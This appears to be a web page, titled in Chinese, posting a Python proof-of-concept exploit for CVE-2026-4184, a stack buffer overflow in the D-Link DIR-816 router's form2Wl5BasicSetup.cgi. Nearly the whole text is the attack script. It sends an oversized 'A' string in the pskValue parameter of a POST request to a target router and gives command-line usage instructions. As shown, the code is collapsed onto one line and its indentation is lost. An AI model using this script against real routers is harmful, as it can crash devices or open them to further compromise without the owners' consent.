D-Link DIR-816路由器form2Wl5BasicSetup.cgi栈缓冲区溢出漏洞(CVE-2026-4184)

import requests import sys # CVE-2026-4184 PoC - D-Link DIR-816 Buffer Overflow # Target: /goform/form2Wl5BasicSetup.cgi # Parameter: pskValue def exploit_dlink_dir816(target_url): """ Exploit for CVE-2026-4184 - Stack-based Buffer Overflow in D-Link DIR-816 router's form2Wl5BasicSetup.cgi """ # Generate payload with excessive length to trigger overflow # Standard buffer size is typically 64-256 bytes overflow_length = 1000 payload = 'A' * overflow_length # Target endpoint url = f"{target_url}/goform/form2Wl5BasicSetup.cgi" # POST data with malicious pskValue parameter data = { 'pskValue': payload, 'wlanBasicSettings': '1', 'submit': 'Apply' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[*] Exploit sent successfully") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip>\n") print(f"Example: python {sys.argv[0]} http://192.168.0.1") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_dlink_dir816(target)